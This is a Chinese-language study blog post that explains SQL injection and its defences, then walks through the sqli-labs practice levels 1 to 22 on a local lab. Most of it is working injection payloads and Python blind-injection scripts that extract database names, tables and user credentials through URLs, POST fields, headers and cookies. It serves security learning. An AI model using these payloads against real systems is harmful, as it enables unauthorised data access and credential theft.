😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。
本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。
⭐️此后如竟没有炬火,我便是唯一的光。⭐️
目录
经过三个月的学习,完成了小迪老师的课程,学完之后感觉自己刚开始入门网安,了解了很多的网安知识,但还没有深入的理解与运用,接下来自己的计划便是慢慢深入学习TOP10漏洞。今天开始学习注入漏洞。
注入漏洞的原理
注入攻击是指攻击者讲恶意代码注入到应用程序,从而迫使其执行命令妥协数据或者整个应用程序。最常见的注入攻击类型包括SQL注入和跨站点(XSS)脚本攻击,同样还包括着代码注入,命令注入等。
SQL注入是指利用由于用户输入中缺少元字符屏蔽或者验证而导致的SQL数据库漏洞。
注入攻击的危害
攻击者试图通过有权访问数据库的应用程序注入他自己的数据库命令。但是,由于请求未正确验证,插入的代码更改了原始 SQL 命令,因此更改了有利于攻击者的结果。
攻击成功后,攻击者可以窥探、修改或完全删除数据,并控制服务器。为此,攻击者有不同的方法来破坏系统。例如,可以通过响应时间或错误消息找到进入系统的途径。
SQL注入的防御
避免注入缺陷的主要方法是将数据库中的数据与命令和查询分开,即将其与 Web 应用程序逻辑分开。这可以通过几种不同的方式实现,包括:
- 使用无需使用解释器或使用参数化查询的安全 API
- 引入积极的服务器端输入验证(白名单)
- 如果应用程序中需要特殊字符,则应尽可能通过特定解释器的转义语法避免使用这些字符
- 在查询中使用数据库控件,例如 LIMIT SQL 子句,以最大限度地减少注入成功时暴露的数据量
关于注入攻击的练习
这里我再次把sqllibs的所有关卡做了一遍;
Level-1
首先就是来判断是数字型注入还是字符型的注入,这里用到的方法是使用1' order by 9999#来判断,具体原因为如果是字符型的注入,9999列是不存在的,那么回显一定是出错的!然而如果是数字型的注入,那么同样会直接将 1' order by 9999#代入查询语句,而直接取前面的值1,回显的结果是正确的!
leve1是字符型注入
payload:
?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),3--+
Level-2
数字型注入
判断回显点:
?id=-1 union select 1,2,3--+
爆数据库名:
?id=-1 union select 1,database(),3--+
爆表名
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
爆列名
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
爆数据
?id=-1 union select 1,(select group_concat(username,0x3a,password) from users),3--+
Level-3
第三关需要通过在单引号后面加上)来闭合前面的右括号。还是字符型注入。
payload
?id=-1') union select 1,(select group_concat(username,0x3a,password) from users),3--+
Level-4
同level-3,变成了双引号先闭合之后再加上)来闭合。
payload:
?id=-1") union select 1,(select group_concat(username,0x3a,password) from users),3--+
Level-5
进来之后提示You are in ....;看来是需要盲注了,还是先判断是数字型的注入还是字符型的注入。 判断出是字符型的注入。
大佬们写的脚本都是用到了二分法,我还是有点不太理解,自己只能写傻瓜脚本。
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1="
def get_password():
password = ''
for i in range(1,150):
for j in range(32,127):
#payload = f' if((ascii(substr(database(),{i},1)))={j},1,0)--+'
#payload = f" if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i},1)))={j},1,0)--+"
#payload = f" if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1)))={j},1,0)--+"
payload = f" if((ascii(substr((select group_concat(username,0x3a,password) from users),{i},1)))={j},1,0)--+"
result = requests.get(url+payload)
if 'You are in' in result.text:
password+=chr(j)
print(password)
break
if __name__ =='__main__':
get_password()
Level-6
第六关双引号闭合之后,利用盲注脚本即可。
import requests
url = 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and '
database_name=''
for i in range(1,20):
for j in range(32,127):
payload = f'if(ascii(substr(database(),{i},1))={j},1,0)--+'
#payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i},1))={j},1,0)--+"
#payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))={j},1,0)--+"
#payload = f"if(ascii(substr((select group_concat(username,0x3a,password) from users),{i},1))={j},1,0)--+"
final_payload = url+payload
result = requests.get(final_payload)
if 'You are in' in result.text:
database_name+=chr(j)
print(database_name)
Level-7
level-7 通过单引号+))进行闭合 盲注
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) and 1="
def get_database_name():
print('----------------------------Get_Database_Name-----------------------------')
database_name = ''
for i in range(1,20):
for j in range(32,127):
payload = f'if(ascii(substr(database(),{i},1))={j},1,0)--+'
final_payload = url+payload
result = requests.get(final_payload)
if 'You are in' in result.text:
database_name+=chr(j)
print(database_name)
break
return database_name
if __name__ =='__main__':
db_name = get_database_name()
Level-8
基于单引号闭合的布尔盲注。(脚本都写的不全,但是都是差不多的,就没有附上)
'''level8 基于单引号的布尔盲注'''
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' "
#爆破数据库名
def db_name(url):
database_name = ''
for i in range(1,20):
for j in range(32,127):
payload = f'and 1=if(ascii(substr(database(),{i},1))={j},1,0)--+'
final_payload = url+payload
result = requests.get(final_payload)
if 'You are in' in result.text:
database_name+=chr(j)
print(database_name)
break
if __name__ == '__main__':
db_name(url)
Level-9
基于单引号闭合的时间盲注;
'''基于单引号的时间盲注'''
import time
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=1' "
def db_name():
database = ''
for i in range(1,10):
for j in range(32,127):
payload = f'and 1=if(ascii(substr(database(),{i},1))={j},sleep(3),0)--+'
final_payload = url+payload
timestart = time.time()
result = requests.get(final_payload)
timeend = time.time()
if timeend-timestart>=3:
database+=chr(j)
print(database)
break
def table_name():
tab_name = ''
for i in range(1,40):
for j in range(32,127):
payload = f"and 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema ='security'),{i},1))={j},sleep(3),0)--+"
final_payload = url+payload
time_start = time.time()
result = requests.get(final_payload)
time_end = time.time()
if time_end - time_start>=3:
tab_name+=chr(j)
print(tab_name)
break
def column_name():
col_name = ''
for i in range(1,80):
for j in range(32,127):
payload = f"and 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name ='users'),{i},1))={j},sleep(3),0)--+"
final_payload = url+payload
time_start = time.time()
result = requests.get(final_payload)
time_end = time.time()
if time_end - time_start>=3:
col_name+=chr(j)
print(col_name)
break
def column_name():
col_name = ''
for i in range(1,80):
for j in range(32,127):
payload = f"and 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name ='users'),{i},1))={j},sleep(3),0)--+"
final_payload = url+payload
time_start = time.time()
result = requests.get(final_payload)
time_end = time.time()
if time_end - time_start>=3:
col_name+=chr(j)
print(col_name)
break
def final_data():
final_dt = ''
for i in range(1,80):
for j in range(32,127):
payload = f"and 1=if(ascii(substr((select group_concat(username,0x3a,password) from users),{i},1))={j},sleep(3),0)--+"
final_payload = url+payload
time_start = time.time()
result = requests.get(final_payload)
time_end = time.time()
if time_end - time_start>=3:
final_dt+=chr(j)
print(final_dt)
break
if __name__ =='__main__':
#table_name()
#column_name()
final_data()
Level-10
基于双引号闭合的时间盲注;
Level-11
POST请求,单引号闭合的注入。
Level-12
基于POST请求的双引号闭合+右括号闭合。
payload:
uname=-admin") union select (select group_concat(username,0x3a,password) from users),2--+&passwd=&submit=Submit
Level-13
基于单引号和右括号的闭合,无回显;当我们登录成功的时候仅仅回显登陆成功;
利用brupsuite的爆破模块进行爆破。
先爆破数据库的长度。payload:
uname=admin') and 1=if(length(database())=8,1,0)--+&passwd=admin&submit=Submit
之后便是通过brup继续爆破数据库各个字符的值。
在之后就是去爆破表名。
uname=admin') and 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),§1§,1))=§1§,1,0)--+&passwd=&submit=Submit
接下来就是去爆破列名和username以及password等信息。
Level-14
基于双引号的闭合;同样还是无回显,只回显我们登录是否成功。操作同上一关,依然是使用brup。
爆破数据库名: 之后便是去爆破表名、列名、以及最终的数据。爆破方法如13关卡
Level-15
基于单引号闭合的布尔盲注,POST方式提交请求;
回显不一样;order by 3--+回显faiiled...
借助brupsuite的intrude模块进行爆破;
首先爆破数据库名的长度,payload:admin' and length(database())=8--+
之后便是常规爆破数据库名,表名和列名,以及最终的账号和密码操作;
#爆破数据库名
uname=admin' and if(ascii(substr(database(),§1§,1))=§115§,1,0)--+
#爆破表名
uname=admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),§1§,1))=§115§,1,0)--+
#爆破列名
uname=admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),§1§,1))=§115§,1,0)--+
#爆破账号和密码
uname=admin' and if(ascii(substr((select group_concat(username,0x3a,password) from users),§1§,1))=§115§,1,0)--+
上图是把爆破列名的部分结果,下图为爆破账号密码的部分结果:
Level-16
基于双引号+右括号的闭合;布尔盲注或者是时间盲注;POST请求;
正常回显;将payload修改为admin") and 1=2--+之后回显不正常,之后便可以通过brupsuite进行爆破。
利用15关的payload继续打;
#爆破数据库的长度
uname=admin") and length(database())=§8§--+
#爆破数据库名
uname=admin") and if(ascii(substr(database(),§1§,1))=§115§,1,0)--+
#爆破表名
uname=admin") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),§1§,1))=§115§,1,0)--+
#爆破列名
uname=admin") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),§1§,1))=§115§,1,0)--+
#爆破账号和密码
uname=admin") and if(ascii(substr((select group_concat(username,0x3a,password) from users),§1§,1))=§115§,1,0)--+
Level-17
基于密码的单引号闭合的报错注入;
那就利用报错的函数:updatexml()以及extractvalue()函数。
爆破数据库名:
#爆破表名
12345' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
#爆破列名
12345' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
12345' and updatexml(1,substring(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),30),1)--+
#爆破账号和密码
12345' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+
这里在查询最终的账号和密码的时候出现错误;
意思是:不能在同一个sql语句中,先select同一个表的某些值,然后再update这个表;
解决方法:select的结果再通过一个中间表select多一次,就可以避免这个错误
那么最终的查询账号密码的语句修改为:
123' and (updatexml(1,concat(0x7e,(select password from (select password from users limit 0,1) as b),0x7e),1))#
Level-18
调试代码,将插入的语句输出一下,在进行闭合;
需要再使用and '来闭合后面的语句,实现报错。该题是基于UA头的报错注入;
UA头修改为' and updatexml(1,concat(0x7e,database(),0x7e),1) and '
还可以直接1',2,3)#的方式去注释后面的语句;
之后还是使用报错注入实现注入表名、列名、以及最终的账号和密码;
#爆破表名
1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1),3)#
#爆破列名
1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1),3)#
#爆破账号和密码
1',updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1),3)#
Level-19
基于单引号闭合的Referer头的注入;通过报错函数来完成;
还是像上面的题一样玩;
#爆破表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '
#爆破列名
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) and '
#爆破密码
1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) and '
Level-20
通过抓包;查看Cookie中的字段值;发现是从uname中获取的账号;
使用单引号进行闭合,and 1=1--+ 回显正常,and 1=2--+ 回显不正常;
payload:
Cookie: uname=admin' order by 3--+ 回显正常
Cookie: uname=admin' order by 4--+ 回显不正常
Cookie: uname=-admin' union select 1,(select group_concat(username,0x3a,password) from users),3--+
Level-21
该关卡和20关很类似,在Cookie中发现如下:
其中的%3D是经过url编码的“ = ”号;很明显了这串字符是经过了base64编码后的结果;看来我们的注入代码也是要经过base64编码的;
这里尝试单引号去闭合,然后使用and来判断;出错了,发现还有一个括号没有闭合;
payload:
#判断列数
admin') order by 3# (payload要经过base64编码) 正常回显
admin') order by 4# (payload要经过base64编码) 不正常回显
#判断回显点
-admin') union select 1,2,3#
#注入账号和密码
-admin') union select 1,(select group_concat(username,0x3a,password) from users),3#
Level-22
该关卡和上一关类似,同样还是通过Cookie来注入,还是base64编码;我们来尝试闭合;
使用双引号闭合的时候发现回显正常的!没有括号;
改为2的时候,不正常的回显;这里就判断该题是仅仅通过双引号闭合,整个payload需要经过base64编码;接下来的步骤如上题相同;